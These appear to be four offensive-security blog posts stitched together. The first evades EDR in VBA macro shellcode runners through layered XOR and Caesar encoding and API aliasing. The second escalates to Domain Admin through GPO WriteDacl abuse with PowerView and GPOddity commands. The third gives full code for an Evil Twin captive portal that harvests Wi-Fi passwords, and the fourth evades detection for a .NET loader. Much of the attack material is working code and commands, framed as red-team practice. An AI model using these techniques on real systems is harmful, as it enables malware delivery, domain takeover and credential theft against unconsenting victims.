Phishing with macro attachments remains a popular technique for establishing command and control (C2) channels on victim machines. However, modern Endpoint Detection and Response (EDR) solutions, such as Microsoft Defender for Endpoint (MDE), have become adept at detecting common VBA macro templates. While revisiting my knowledge from the OSEP course, I found that the templates taught in the course are now flagged by modern EDRs.

In this blog, I will document some techniques I use to evade signature-based detection in VBA macros, particularly focusing on shellcode runners.

Figuring Out the Common Issues

To understand the challenges, I used the VBA template from OffensiveVBA as an example. During testing, I identified two primary issues that lead to detection by EDRs.

1. Raw Shellcode

Embedding raw shellcode directly in the script is a red flag for EDRs. For example, a simple array containing shellcode bytes will likely trigger detection:

Kqrfipip = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, ..., 46, 101, 120, 101, 0)

2. WinAPI Usage

A typical shellcode execution workflow involves the following WinAPI functions:

1. VirtualAlloc: Allocates memory with specific protection.
2. RtlMoveMemory / WriteProcessMemory: Copies or writes data to the allocated memory.
3. CreateThread: Creates a thread to execute the shellcode.

This pattern is a well-known indicator of compromise (IOC). EDRs often scan for these APIs in VBA macros. For instance, the following declaration and usage of RtlMoveMemory can be flagged:

Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Krldhufs As LongPtr, ByRef Gsvspq As Any, ByVal Djjdc As Long) As LongPtr
...
For Rxsqoxe = LBound(Kqrfipip) To UBound(Kqrfipip)
    Tpjln = Kqrfipip(Rxsqoxe)
    Gczn = RtlMoveMemory(Clsghvido + Rxsqoxe, Tpjln, 1)
Next Rxsqoxe

Useful Techniques for Evasion

To bypass these detections, I applied the following techniques:

1. Multiple Encoding

Encoding the shellcode is a common technique to prevent EDRs from identifying malicious payloads. In the OSEP course, XOR encoding was introduced as a simple yet effective method. Here’s an example of XOR encoding in VBA:

buf = Array(232, 130, 0, 0, 0, 96, ..., 255, 213)

For i = LBound(buf) To UBound(buf)
    buf(i) = buf(i) Xor 23
Next i

However, during testing, I found that even XOR-encoded shellcode was detected by modern EDRs. To address this, I applied an additional layer of encoding on top of the XOR-encoded shellcode. I chose Caesar Cipher, which shifts each byte by a fixed number of positions. The encryption and decryption formulas are as follows:

Encryption: C = P + K
Decryption: P = C - K
*K = Addition key
*C = Ciphertext
*P = Plaintext

By combining XOR and Caesar Cipher, I was able to evade detection. While I won’t share the exact implementation, I recommend experimenting with other encoding techniques, such as rot13 or base64, to further obfuscate the shellcode.

Note: Encoding is not foolproof. It is essential to test your payloads against the target EDR to ensure they remain undetected.

2. WinAPI Declaration with Alias

Another effective technique is to rename WinAPI functions using the Alias keyword in the declaration. This helps avoid detection based on known API names.

For example, instead of directly declaring RtlMoveMemory, you can alias it as CopyMemory:

Private Declare PtrSafe Sub CopyMemory Lib "KERNEL32" Alias "RtlMoveMemory"
...
For Rxsqoxe = LBound(Kqrfipip) To UBound(Kqrfipip)
    Tpjln = Kqrfipip(Rxsqoxe)
    Indjas = Clsghvido + Rxsqoxe
    Gczn = CopyMemory(Indjas, Tpjln, 1)
Next Rxsqoxe

This simple change can help bypass signature-based detection that looks for specific API names.

Conclusion

Evading signature-based detection in VBA macros requires a combination of techniques, including encoding the shellcode and obfuscating WinAPI declarations. While the examples in this blog focus on XOR encoding, Caesar Cipher, and API aliasing, there are many other methods you can explore to achieve the same goal.

Remember, the key to successful evasion is testing. Always validate your payloads against the target EDR to ensure they remain undetected.

Resources

1. OffensiveVBA
2. Microsoft Documentation on VirtualAlloc
3. Caesar Cipher Explanation

Recently, I set up a lab that simulates a scenario where a user has the WriteDacl permission over a GPO, making the GPO vulnerable to exploitation. During the simulation, I discovered that existing tools, such as SharpGPOAbuse and pyGPOAbuse, do not actually work to set up immediate or scheduled tasks after granting the user GenericAll or GenericWrite permissions over the GPO. Therefore, I did some research to see if there was any solution and found the GPOddity automation tool, developed by Synacktiv researchers, which works very well to escalate user privileges to Domain Admins.

In this blog, I am going to explain the limitations of existing tools and another attack vector used in GPOddity, with some demonstrations in my lab.

Lab Setup

In the lab, a user labuser01 has been assigned the WriteDacl permission over a GPO Vuln Policy, which is linked to the domain.

To exploit the DACL, the delegated user can grant themselves full control (GenericAll) of the GPO and then create an immediate or scheduled task applied to computer or user objects to execute commands for privilege escalation as an example.

Use the function Add-DomainObjectAcl in the PowerView tool to grant the user GenericAll permission over a GPO.

Add-DomainObjectAcl -TargetIdentity "Vuln Policy" -PrincipalIdentity "home\labuser01" -Rights All

Knowledge: Group Policy Template in SYSVOL Share

Theoretically, if a user has been delegated GenericAll over a GPO via the Group Policy Management editor, they would obtain full permission of the respective group policy folder in the SYSVOL SMB share of the domain controllers. The folder contains all the Group Policy Template files, which include all the settings to apply to the linked user or computer objects.

According to Microsoft documentation, by default, clients and servers check for changes to GPOs every 90 minutes using a randomized offset of up to 30 minutes. Domain controllers check for computer policy changes every 5 minutes. When users and computers attempt to check for changes to GPOs, they retrieve the GPT files from the folders in the SYSVOL SMB share.

The Problem of Existing Tools with WriteDacl

Existing tools, such as SharpGPOAbuse, create an immediate task by directly modifying the Group Policy Template folder in SYSVOL SMB shares on domain controllers. However, these tools do not consider the synchronization issue of LDAP and SMB permissions when granting a user the GenericAll permission over GPOs. This means that even though labuser01 grants themselves the GenericAll privilege over the Vuln Policy GPO using pentesting tools such as PowerView, they only obtain full control of the GPO configurations and attributes, but not full permissions of the group policy folder in the SYSVOL share.

When we try to browse the GPO using Group Policy Management, a message pops up asking for synchronization of the SYSVOL folder.

In reality, or during a real red team exercise, we cannot just wait for a domain admin to log into domain controllers and click on that ‘OK’ button for permission synchronization. Hence, we need to find another solution to make use of the GenericAll privilege over the GPO.

Solution: Modifying the GPO folder path via gPCFileSysPath attribute

Synacktiv introduced a new attack vector of spoofing the GPO location through the gPCFileSysPath attribute. This LDAP attribute points to the folder associated with the GPO in the SYSVOL SMB share of the domain controller.

Once the path is modified to our controlled SMB share or a writable share in the Active Directory environment, we can write the scheduled task to perform command execution on behalf of all computers or users.

GPOddity

GPOddity can automate GPO attacks via the gPCFileSysPath attribute.

Assuming the user already has a writable share in the network, hosting an embedded SMB server is not needed. The script will change the gPCFileSysPath to the manipulated share, clone the original GPO files, and create a scheduled task XML file with the commands. In this case, the task creates a new domain user and attempts to add the user to the Domain Admins group with the privilege of the computer that is refreshing the group policy.

$ python3 gpoddity.py --gpo-id "FA300B64-C70B-46A8-84B5-B44FA07EBE66" --gpo-type "computer" --domain "home.lab" --username "labuser01" --password "..." --command 'net user gpo_admin Password123! /add /domain && net group "Domain Admins" gpo_admin /ADD /DOMAIN' --rogue-smbserver-ip "10.10.20.11" --rogue-smbserver-share "Shared" --smb-mode "none" --verbose

The Python script will generate an output folder GPT_out. All you need to do is copy all the sub-folders and files to the rogue SMB share and wait for the group policy to refresh.

Finally, the command is executed by a computer object that has the privilege (e.g., Domain Controllers) to create a new domain user and add the user to the Domain Admins group.

Conclusion

It took me quite some time to figure out how to run a scheduled task starting from the WriteDacl permission and to overcome the LDAP and SMB synchronization issues. Hope you find something useful in this blog!

Resources

1. GPOddity
2. GPOddity: exploiting Active Directory GPOs through NTLM relaying, and more!
3. WriteDacl

During a Wi-Fi penetration test recently, I tried to explore further about Evil Twin attacks, which is one of the client-side attacks. To whom may not know much about this attack, Evil Twin attacks involve adversaries who attempt to mimic a target Wi-Fi access point with a rogue access point and to trick users to connect the fake one.

Custom Portal Plugin in Airgeddon

Installation

Download the script customportals.sh on https://github.com/KeyofBlueS/airgeddon-plugins and put it in /usr/share/airgeddon/plugins. Also, create a folder called custom_portals which will store all your customized captive portal template.

┌──(root㉿kali)-[/usr/share/airgeddon/plugins]
└─# ls -al
total 96
drwxr-xr-x 3 root root  4096 Sep  5 23:45 .
drwxr-xr-x 4 root root  4096 Sep  5 21:35 ..
drwxr-xr-x 2 root root  4096 Sep  5 23:45 custom_portals
-rw-r--r-- 1 root root 38008 Sep  5 23:38 customportals.sh
-rw-r--r-- 1 root root 34298 Aug  1 19:07 missing_dependencies.sh
-rw-r--r-- 1 root root  6401 Aug  1 19:07 plugin_template.sh

Working on the Template

index.htm

index.htm is the captive portal page that tricks users to provide information, such as Wi-Fi password or even their active directory credentials. In the following example, we attempt to tell the staff to provide the corporate Wi-Fi password in a scenario of WPA-PSK SSIDs.

#!/usr/bin/env bash
echo '<!DOCTYPE html>'
echo '<html>'
echo -e '	<head>'
echo -e '		<meta name="viewport" content="width=device-width"/>'
echo -e '		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>'
echo -e '		<title>"${et_misc_texts[${captive_portal_language},15]}"</title>'
echo -e '		<link rel="stylesheet" type="text/css" href="portal.css"/>'
echo -e '		<script type="text/javascript" src="portal.js"></script>'
echo -e '	</head>'
echo -e '	<div class="content">'
echo -e '		<form method="post" id="loginform" name="loginform" action="check.htm">'
echo -e '			<img src="./logo.png" alt="Logo" class="logo"/>'
echo -e '			<h1>Wi-Fi Access</h1>'
echo -e '			<p class="description">Please enter the Wi-Fi password to gain access to the corporate Wi-Fi network.</p>'
echo -e '			<label><input id="password" maxlength="63" name="password" size="20" type="password" placeholder="Password" class="input-field"/></label>'
echo -e '			<input type="submit" value="Connect" class="button"/>'
echo -e '		</form>'
echo -e '		<p class="warning">Only authorized persons are allowed to access the corporate network of ABC Company.</p>'
echo -e '	</div>'
exit 0

You may also notice that the form action will be taken in check.htm where I will explain further in the next section.

check.htm

check.htm is to proceed the form submission by users in index.htm. The script would firstly extract the information from the POST HTTP data. In this case, the password is retrieved.

POST_DATA=$(cat /dev/stdin)
if [[ "${REQUEST_METHOD}" = "POST" ]] && [[ ${CONTENT_LENGTH} -gt 0 ]]; then
	POST_DATA=${POST_DATA#*=}
	password=${POST_DATA/+/ }
	password=$(printf '%b' "${password//%/\\x}")
fi

Once the password is retrieved, there are a couple of conditional statements following. The first one is to validate the length of the password provided by the user. The length should be at least 8 characters and less than 64 characters. If validated, the password will be temporarily saved in ${tmpdir}${webdir}${currentpassfile}, which should typically be /tmp/ag1/www/. The password will be used to crack the hash in the 4-way handshake file captured by airodump-ng and Airgeddon.

if [[ ${#password} -ge 8 ]] && [[ ${#password} -le 63 ]]; then
	rm -rf "${tmpdir}${webdir}${currentpassfile}" > /dev/null 2>&1
	echo "${password}" >\
	"${tmpdir}${webdir}${currentpassfile}"
	aircrack-ng -a 2 -b ${bssid} -w "${tmpdir}${webdir}${currentpassfile}" "${et_handshake}" | grep "KEY FOUND!" > /dev/null

Then, check whether KEY FOUND is in the output of aircrack-ng to determine the attack is successful or not.

if [ "$?" = "0" ]; then
	touch "${tmpdir}${webdir}${et_successfile}" > /dev/null 2>&1
	echo '<h1 class="success">Connection Success</h1>The password is correct, the connection will be re-established in a few moments'
	et_successful=1
else
	echo "${password}" >>\
	"${tmpdir}${webdir}${attemptsfile}"
	echo '<h1 class="error">Connection Error</h1>The password is incorrect, redirecting to the main screen'
	et_successful=0
fi

portal.css

You could customize the CSS content here.

portal.js

In check.htm, if the password is not correct, the user will be redirected to the captive portal page in a few seconds.

if [ ${et_successful} -eq 1 ]; then
    exit 0
else
    echo '<script type="text/javascript">'
    echo -e '\tsetTimeout("redirect()", 3500);'
    echo '</script>'
    exit 1
fi

The JavaScript function redirect() is called in portal.js to redirect to index.htm.

function redirect() {
    document.location = "index.htm";
}

Meanwhile, some response corresponding to the form could be included here, such as password length validation.

(function() {
    var onLoad = function() {
        var formElement = document.getElementById("loginform");
        if (formElement != null) {
            var validateForm = function(event) {
                event.preventDefault();
                var password = document.getElementById("password").value;
                if (password === "") {
                    alert("Please enter the Wi-Fi password.");
                } else if (password.length < 8) {
                    alert("The password must be at least 8 characters.");
                } else {
                    formElement.submit();
                }
            };
            formElement.addEventListener("submit", validateForm);
        }
    };

    document.readyState != 'loading' ? onLoad() : document.addEventListener('DOMContentLoaded', onLoad);
})();

The Demo Captive Portal

Put the template in a sub-folder of /usr/share/airgeddon/plugins/custom_portals/.

┌──(root㉿kali)-[/usr/…/airgeddon/plugins/custom_portals/Demo]
└─# ls -al
total 48
drwxr-xr-x 2 root root  4096 Sep  6 02:11 .
drwxr-xr-x 3 root root  4096 Sep  5 23:46 ..
-rw-r--r-- 1 root root  2036 Sep  6 02:10 check.htm
-rw-r--r-- 1 root root  1170 Sep  6 02:10 index.htm
-rwxr-x--- 1 root root 24228 Sep  6 02:11 logo.png
-rw-r--r-- 1 root root  1556 Sep  6 02:10 portal.css
-rw-r--r-- 1 root root   889 Sep  6 02:11 portal.js

After the handshake capture file with deauthentication has been obtained, a rogue AP will be established with the captive portal.

Captive Portal Sample

You may refer to my sample on https://github.com/patrickt2017/Airgeddon-Evil-Twin-Captive-Portal-Demo and develop your own template further!

Resources

https://zimperium.com/glossary/evil-twin-attacks

A few weeks ago I developed a .NET loader called VEHNetLoader and later I tried to run it in other EDR solutions. It has been immediately detected and blocked. Hence, it encouraged me to figure out what is going on and look for improvements.

Problems with the Original Loader

Scanning on Import Directory Table

To create a CLR instance, CLRCreateInstance in metahost.h and mscoree.lib is used as follows.

hr = CLRCreateInstance(&CLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)&pMetaHost);

STDAPI CLRCreateInstance(REFCLSID clsid, REFIID riid, /*iid_is(riid)*/ LPVOID *ppInterface);

The definition of CLRCreateInstance

When the header and the library are included in the loader, the import directory table of its Portable Executable (PE) file would include the mscoree.dll DLL and the entry of CLRCreateInstance. EDR could treat this as malicious file by static analysis of the PE file and its import directory table.

Assembly Output Content Detected by Memory Scanning

The output of the .NET assembly is stored in a buffer in cleartext. If EDR performs in-memory scanning of the loader process, it could identify any malicious string of the .NET assembly output.

Solutions

Loading Functions in Runtime

The solution is simple that we do not import the library and function in the PE file. Instead, we dynamically load the library and function before calling CLRCreateInstance.

fnCLRCreateInstance CLRCreateInstance = (fnCLRCreateInstance)GetProcAddress(LoadLibraryW(L"mscoree.dll"), "CLRCreateInstance");

In the revised PE file, the import directory table no longer contains the malicious library and function.

Obfuscation / Encoding / Encryptions

The idea behind is also easy to understand - obfuscate/encode/encrypt the malicious string into a form that EDR could not understand and determine the process is illegal.

Before obfuscation, the output is stored in plaintext and EDR could identify this is from Rubeus tool by pattern matching.

After obfuscation, it is much difficult to know the meaning of the obfuscated content below.

Conclusion

In addition to the issues mentioned in the blog, we should be aware that other powerful EDR platforms may use alternative approaches, such as behavioral analysis, to flag the process as suspicious.

Resources

1. https://www.r-tec.net/r-tec-blog-net-assembly-obfuscation-for-memory-scanner-evasion.html